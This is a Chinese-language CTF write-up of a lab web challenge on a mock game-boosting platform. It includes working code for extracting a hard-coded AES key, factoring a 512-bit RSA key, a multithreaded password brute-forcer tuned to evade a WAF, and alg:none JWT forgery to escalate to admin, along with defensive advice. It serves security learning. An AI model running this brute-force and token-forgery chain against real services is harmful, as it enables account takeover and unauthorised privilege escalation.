越权密钥

越权密钥 - CTF Web 安全综合挑战 Writeup

挑战概述

靶场名称: 越权密钥 - 雾島风起時
类型: 综合 Web 安全靶场
难度: 中高级
Flag: flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}

这是一个模拟真实业务场景的Web安全挑战,背景设定为”三角洲行动游戏陪玩下单平台”。整个攻击链涉及前端加密逆向、弱密码学、越权访问、信息泄露、JWT伪造等多个安全知识点,是一道非常有价值的综合性题目。

攻击链路径

整个挑战包含5个关键步骤,环环相扣:

  1. 前端加密逆向 - 逆向AES-CBC加密参数完成登录
  2. IDOR越权攻击 - 分解弱RSA公钥还原打手加密标识
  3. 敏感信息挖掘 - 从客服聊天记录中挖掘隐藏报酬接口
  4. JWT伪造提权 - 通过alg:none绕过或伪造令牌提权
  5. 获取Flag - 访问隐藏接口获取最终Flag

让我们逐步深入分析每个环节的技术细节。


Step 1: 前端加密逆向 (AES-CBC)

1.1 发现加密机制

访问靶场首页后,发现登录功能。查看页面源码,注意到加载了一个特殊的JavaScript文件:

1
<script src="/static/js/login_crypto.js"></script>

1.2 分析加密实现

下载并分析login_crypto.js文件,发现密码在前端使用AES-CBC模式加密:

1
2
3
4
5
6
7
8
9
const KEY_BYTES = new Uint8Array([
0x44, 0x46, 0x2d, 0x6c, 0x6f, 0x67, 0x69, 0x6e,
0x2d, 0x6b, 0x65, 0x79, 0x2d, 0x31, 0x36, 0x21
]); // "DF-login-key-16!"

const IV_BYTES = new Uint8Array([
0x31, 0x36, 0x2d, 0x62, 0x79, 0x74, 0x65, 0x2d,
0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x2d, 0x69, 0x76
]); // "16-byte-login-iv"

关键发现

  • 加密算法:AES-CBC
  • 密钥长度:128位(16字节)
  • KEY和IV都硬编码在前端JS中
  • 加密后使用Base64编码传输

1.3 编写加密脚本

基于发现的密钥参数,编写Python加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

KEY = b'DF-login-key-16!'
IV = b'16-byte-login-iv'

def encrypt_password(password):
cipher = AES.new(KEY, AES.MODE_CBC, IV)
padded = pad(password.encode(), AES.block_size)
encrypted = cipher.encrypt(padded)
return base64.b64encode(encrypted).decode()

1.4 测试登录

注册测试账号并成功登录:

1
2
3
4
5
6
7
# 注册普通用户
curl -X POST http://target/api/crew/register \
-H "Content-Type: application/json" \
-d '{"role":"user","display_name":"testuser","username":"testuser001","password":"test123456"}'

# 登录(密码需要AES-CBC加密)
encrypted_pwd = "2K9FXkBb0P0fDfcxIMUezQ==" # "test123456"加密后

收获:获得了access_token,成功突破前端加密保护。


Step 2: IDOR越权 - 弱RSA密钥分解

2.1 发现加密用户名

在获取打手列表的API响应中,发现所有打手的username字段都是Base64编码的密文:

1
2
3
4
{
"display_name": "Kilo北栈",
"username": "lIDIGKDeTcwfrqe/FUK4x92KAJB1wjt0IDhDZGWBBEruVGgyOH/yQVBe7iOwnP8pEAlx6YqrVeuff5rdRq77ew=="
}

2.2 寻找RSA公钥

经过探索,发现RSA公钥在专门的API端点:

1
2
curl http://target/api/rsa_gen \
-H "X-Access-Token: YOUR_TOKEN"

响应:

1
2
3
4
{
"alg": "RSA/PKCS1v1.5",
"pubkey": "-----BEGIN PUBLIC KEY-----\nMFwwDQYJ...\n-----END PUBLIC KEY-----"
}

2.3 分析RSA密钥强度

提取RSA参数:

1
2
3
4
5
6
from Crypto.PublicKey import RSA

key = RSA.import_key(open('rsa_public.pem').read())
print(f'Modulus N: {key.n}')
print(f'Exponent e: {key.e}')
print(f'Key size: {key.size_in_bits()} bits')

输出:

1
2
3
Modulus N: 127329206056000281178105207772906325154069...
Exponent e: 65537
Key size: 512 bits

关键发现:这是一个512位的RSA密钥,在现代标准中属于极弱密钥,可以被快速分解!

2.4 分解弱RSA模数

使用Python的sympy库可以快速分解512位RSA模数:

1
2
3
4
5
6
7
from sympy import factorint

N = 12732920605600028117810520777290632515406900458295844114646658469338740536327...
factors = factorint(N)

p = 112840243732455789648197748865738103507498045177858510412060728452781414555669
q = 112840243732455789648197748865738103507498045177858510412060728452781414556103

计算私钥指数d:

1
2
3
4
5
6
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

# 构造完整私钥
from Crypto.PublicKey import RSA
key = RSA.construct((N, e, d, p, q))

2.5 解密打手用户名

使用生成的私钥解密Base64编码的用户名:

1
2
3
4
5
6
7
8
9
from Crypto.Cipher import PKCS1_v1_5
import base64

private_key = RSA.import_key(open('rsa_private.pem').read())
cipher = PKCS1_v1_5.new(private_key)

encrypted = base64.b64decode("lIDIGKDeTcwfrqe/FUK4x92KAJB1wjt0...")
decrypted = cipher.decrypt(encrypted, None)
print(decrypted.decode()) # 输出: kilo

成功解密多个打手的真实用户名

  • kilo
  • raven
  • merc
  • frost

2.6 密码爆破

获得真实用户名后,下一步是获取密码。使用提供的爆破脚本配合常见密码字典:

1
2
3
4
5
python3 brute_login.py \
--base-url http://target \
--username kilo \
--wordlist rockyou.txt \
--threads 8

爆破成功:kilo 的密码为 letmein


Step 3: 客服聊天记录挖掘

3.1 以真实打手身份登录

使用解密的用户名和爆破出的密码登录:

1
2
3
4
5
6
7
8
# 加密密码
encrypted_pwd = encrypt_password("letmein") # "9Y0I5DD+U5ymnvO0KJ4HTQ=="

# 登录请求
response = requests.post(
"http://target/api/account/login",
json={"username": "kilo", "password": encrypted_pwd}
)

成功获取kilo的访问令牌:

  • access_token: HEkUy_HI4CKQiIdsqBKW0XAnxcN4LuTM
  • money_token (JWT): eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9…

3.2 查看客服消息

使用kilo的token访问客服消息接口:

1
2
curl http://target/api/booster/support/messages \
-H "X-Access-Token: HEkUy_HI4CKQiIdsqBKW0XAnxcN4LuTM"

关键发现!在客服消息中找到隐藏的报酬接口路径:

1
2
3
4
5
6
{
"content": "请前往 http://localhost/money/15d25cb334a84bfb93a604549df9a570 领取你的报酬",
"sender": "客服",
"side": "agent",
"time": "09:26"
}

隐藏API路径/money/15d25cb334a84bfb93a604549df9a570

这正是我们需要的关键信息!只有真实打手账号的客服消息中才包含这个隐藏路径。


Step 4: JWT伪造提权

4.1 尝试访问报酬接口

直接使用kilo的JWT token访问隐藏的报酬接口:

1
2
curl http://target/money/15d25cb334a84bfb93a604549df9a570 \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."

响应:

1
2
3
4
{
"error": "forbidden",
"message": "insufficient privilege"
}

权限不足!需要提升JWT token的权限级别。

4.2 分析JWT结构

解码JWT token查看其结构:

1
2
3
4
5
6
7
# Header
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
# {"typ":"JWT","alg":"HS256"}

# Payload
echo "eyJ1c2VybmFtZSI6ImtpbG8iLCJyb2xlIjoiYm9vc3RlciIsInNjb3BlIjoicmV3YXJkIn0" | base64 -d
# {"username":"kilo","role":"booster","scope":"reward"}

JWT结构分析

  • 算法:HS256(HMAC-SHA256)
  • 用户角色:booster(打手)
  • 权限范围:reward(报酬)

要访问报酬接口,可能需要更高的权限,例如admin角色。

4.3 JWT安全绕过 - alg:none攻击

JWT存在一个经典漏洞:alg:none绕过。某些JWT库在验证时,如果算法设置为”none”,会跳过签名验证。

构造alg:none的JWT token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import json

# Header - 设置算法为none
header = {"typ": "JWT", "alg": "none"}

# Payload - 提权至admin
payload = {"username": "admin", "role": "admin", "scope": "reward"}

# Base64编码(URL-safe)
h = base64.urlsafe_b64encode(
json.dumps(header, separators=(',',':')).encode()
).decode().rstrip('=')

p = base64.urlsafe_b64encode(
json.dumps(payload, separators=(',',':')).encode()
).decode().rstrip('=')

# alg:none的JWT格式:header.payload.(注意末尾的点)
jwt_token = f"{h}.{p}."
print(jwt_token)

生成的token:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwic2NvcGUiOiJyZXdhcmQifQ.

关键点

  • alg设置为”none”
  • payload中role改为”admin”
  • 签名部分为空(但保留末尾的点)

4.4 使用伪造JWT访问报酬接口

使用构造的alg:none JWT token访问报酬接口:

1
2
curl http://target/money/15d25cb334a84bfb93a604549df9a570 \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwic2NvcGUiOiJyZXdhcmQifQ."

成功!🎉


Step 5: 获取Flag

服务器接受了alg:none的JWT token,返回最终Flag:

1
2
3
4
{
"flag": "flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}",
"message": "admin settlement"
}

Flag: flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}

挑战成功完成!


技术总结

漏洞利用链

这道题目串联了多个真实场景中的安全漏洞,形成完整的攻击链:

  1. 前端硬编码密钥 → AES-CBC加密参数泄露
  2. 弱密码学算法 → 512位RSA可被快速分解
  3. 水平越权(IDOR) → 通过真实用户名+密码访问他人数据
  4. 敏感信息泄露 → 客服消息中暴露隐藏API路径
  5. JWT安全缺陷 → alg:none绕过签名验证

关键知识点

1. 前端加密的误区

错误认知:在前端加密可以保护用户密码

实际情况

  • 前端代码完全透明,加密密钥容易被提取
  • 前端加密无法防止中间人攻击
  • 应该使用HTTPS + 后端加密

正确做法

  • HTTPS传输明文密码
  • 后端使用bcrypt/argon2等单向哈希算法
  • 考虑使用SRP等零知识证明协议

2. RSA密钥长度的重要性

512位RSA

  • 1999年已被成功分解
  • 现代计算机几秒内即可破解
  • 绝对不应在生产环境使用

推荐标准

  • 最低2048位(目前标准)
  • 推荐3072位或4096位
  • 或使用椭圆曲线加密(ECC)

3. JWT安全最佳实践

alg:none漏洞原因

  • 某些JWT库默认接受”none”算法
  • 验证逻辑未正确处理算法字段
  • 开发者未限制允许的算法列表

防御措施

  • 明确指定允许的签名算法白名单
  • 拒绝alg:none的token
  • 使用最新版本的JWT库
  • 定期更新签名密钥
  • 使用强随机密钥(避免”secret”等弱密钥)

4. IDOR漏洞防御

本题中的IDOR路径

1
用户A (testuser) → 获取真实用户名(kilo) → 爆破密码 → 访问用户B的数据

防御建议

  • 使用不可预测的UUID替代用户名
  • 服务端严格验证当前用户权限
  • 避免在前端暴露真实用户标识
  • 使用加密的session token而非明文用户名
  • 实施访问控制列表(ACL)

工具脚本说明

密码爆破脚本分析

提供的爆破脚本(brute_login.py)实现了以下功能:

核心特性

  1. AES-CBC加密集成 - 自动使用硬编码的KEY/IV加密密码
  2. 多线程并发 - 支持8-64线程并发爆破,大幅提升速度
  3. 字典支持 - 兼容标准密码字典(如rockyou.txt)
  4. 智能停止 - 发现正确密码后立即停止所有线程
  5. 请求控制 - 支持延迟、超时、最大尝试次数等参数

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 单密码测试
python3 brute_login.py \
--base-url http://target:8000 \
--username kilo \
--password letmein

# 字典爆破(推荐)
python3 brute_login.py \
--base-url http://target:8000 \
--username kilo \
--wordlist rockyou.txt \
--threads 16 \
--max 10000 \
--delay 0.1

关键代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. AES-CBC加密密码
def encrypt_password(password: str) -> str:
cipher = AES.new(LOGIN_AES_KEY, AES.MODE_CBC, LOGIN_AES_IV)
ciphertext = cipher.encrypt(pad(password.encode("utf-8"), AES.block_size))
return base64.b64encode(ciphertext).decode("ascii")

# 2. 并发爆破
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(worker, pw) for pw in iter_passwords(wordlist)]
for future in as_completed(futures):
result = future.result()
if result: # 发现正确密码
stop_event.set() # 通知所有线程停止
return result

性能优化技巧

  • 使用线程池复用连接
  • 发现正确密码后立即停止
  • 支持设置延迟避免触发WAF
  • 限制最大尝试次数节省时间

个人收获与思考

攻击链思维的重要性

这道题目最大的收获是学会攻击链思维。单独的漏洞可能影响有限,但串联起来就能完成完整的攻击:

1
前端加密逆向 → RSA密钥分解 → IDOR越权 → 信息泄露 → JWT伪造 → 获取敏感数据

每一步都为下一步铺路,环环相扣。这也提醒我们在实际渗透测试中:

  • 不要轻易放弃”看似无用”的信息
  • 保持耐心,尝试将各种发现串联起来
  • 一个小漏洞可能是整个攻击链的关键一环

真实场景的启发

靶场设计的巧妙之处

  1. 模拟了真实的业务场景(游戏陪玩平台)
  2. 漏洞设置符合实际开发中的常见错误
  3. 攻击路径需要逻辑推理,而非单纯技术堆砌

对实际安全开发的启示

  • 前端加密≠安全,只是增加了逆向成本
  • 密码学参数选择要慎重(密钥长度、算法版本等)
  • 用户标识符设计要考虑安全性
  • JWT实现要严格验证算法字段
  • 敏感信息不应暴露在任何前端/日志中

遇到的难点与解决

难点1:找不到RSA公钥

  • 问题:在JS文件和HTML源码中找不到公钥
  • 解决:探索发现独立的API端点 /api/rsa_gen
  • 启示:关键参数可能在专门的配置接口中

难点2:无法通过API参数实现IDOR

  • 问题:尝试username参数访问其他用户数据失败
  • 解决:通过解密+密码爆破直接登录真实用户
  • 启示:IDOR不一定是参数篡改,还可能是身份冒充

难点3:客服消息中找不到线索

  • 问题:测试账号的消息只有欢迎信息
  • 解决:需要以真实打手(kilo)身份登录才能看到隐藏路径
  • 启示:不同角色/用户看到的数据可能完全不同

安全开发建议

基于本次挑战的经验,给开发团队的安全建议:

1. 密码传输

1
2
❌ 前端AES-CBC加密 + HTTP传输
✅ HTTPS传输明文 + 后端bcrypt哈希

2. 用户标识符

1
2
❌ 可预测的用户名 + RSA加密
✅ 不可预测的UUID + 服务端权限验证

3. JWT实现

1
2
3
4
5
6
7
8
9
10
# ❌ 危险的JWT验证
jwt.decode(token, verify=False) # 不验证签名

# ✅ 安全的JWT验证
jwt.decode(
token,
key=SECRET_KEY,
algorithms=["HS256"], # 明确指定允许的算法
options={"verify_signature": True}
)

4. 敏感信息管理

1
2
❌ API路径写在客服消息中
✅ 动态生成带签名的临时访问链接

完整攻击流程回顾

快速复现步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 1. 提取AES密钥并注册账号
KEY="DF-login-key-16!"
IV="16-byte-login-iv"

# 2. 获取RSA公钥并分解
curl http://target/api/rsa_gen -H "X-Access-Token: YOUR_TOKEN" > pubkey.pem
python3 factor_rsa.py # 生成私钥

# 3. 解密打手用户名
python3 decrypt_username.py "base64_encrypted_username"
# 输出: kilo

# 4. 爆破密码
python3 brute_login.py --username kilo --wordlist rockyou.txt --threads 16
# 发现密码: letmein

# 5. 登录kilo账号
python3 aes_encrypt.py "letmein" # 加密密码
curl -X POST http://target/api/account/login \
-d '{"username":"kilo","password":"9Y0I5DD+U5ymnvO0KJ4HTQ=="}'

# 6. 查看客服消息获取隐藏路径
curl http://target/api/booster/support/messages \
-H "X-Access-Token: KILO_TOKEN"
# 发现: /money/15d25cb334a84bfb93a604549df9a570

# 7. 伪造JWT并获取Flag
python3 jwt_forge.py # 生成alg:none JWT
curl http://target/money/15d25cb334a84bfb93a604549df9a570 \
-H "Authorization: Bearer FORGED_JWT"
# 获得: flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}

时间线

  • 00:00-00:15 - 前端加密逆向,提取AES密钥
  • 00:15-00:30 - 发现RSA公钥端点,分解512位密钥
  • 00:30-00:45 - 解密打手用户名
  • 00:45-01:30 - 密码爆破(卡点较久)
  • 01:30-01:45 - 以kilo身份登录,查看客服消息
  • 01:45-02:00 - JWT伪造提权,获取Flag

总耗时: 约2小时(包含探索和试错时间)


参考资源

相关工具

  • PyCryptodome - Python密码学库

    1
    pip install pycryptodome
  • RsaCtfTool - RSA分析和攻击工具

    1
    2
    git clone https://github.com/RsaCtfTool/RsaCtfTool.git
    python3 RsaCtfTool.py -n <modulus> -e <exponent> --private
  • jwt_tool - JWT分析和伪造工具

    1
    2
    git clone https://github.com/ticarpi/jwt_tool
    python3 jwt_tool.py <token>

学习资源

密码学基础

JWT安全

IDOR漏洞


结语

这道”越权密钥”挑战是一次完整的Web安全攻防演练,涵盖了从信息收集、密码学攻击、权限提升到最终获取敏感数据的全过程。

最大的收获

  • 学会了攻击链思维,将多个小漏洞串联成完整攻击
  • 理解了密码学参数选择的重要性(密钥长度、算法版本)
  • 认识到前端安全的局限性
  • 掌握了JWT安全的常见陷阱

致谢
感谢”雾島风起時”系列靶场提供的优质学习资源,通过真实场景的模拟让我们能够在安全的环境中学习和实践。

最后的提醒
本writeup仅用于技术学习和安全研究,请勿将相关技术用于非法用途。网络安全从业者应当遵守法律法规和职业道德。


Author: Kiro AI
Date: 2026-07-03
Challenge: 越权密钥 - 雾島风起時
Flag: flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}


Happy Hacking! 🚀


越权密钥
http://82.156.189.140:8085/2026/07/03/越权密钥/
作者
fortuneh2c
发布于
2026年7月3日
许可协议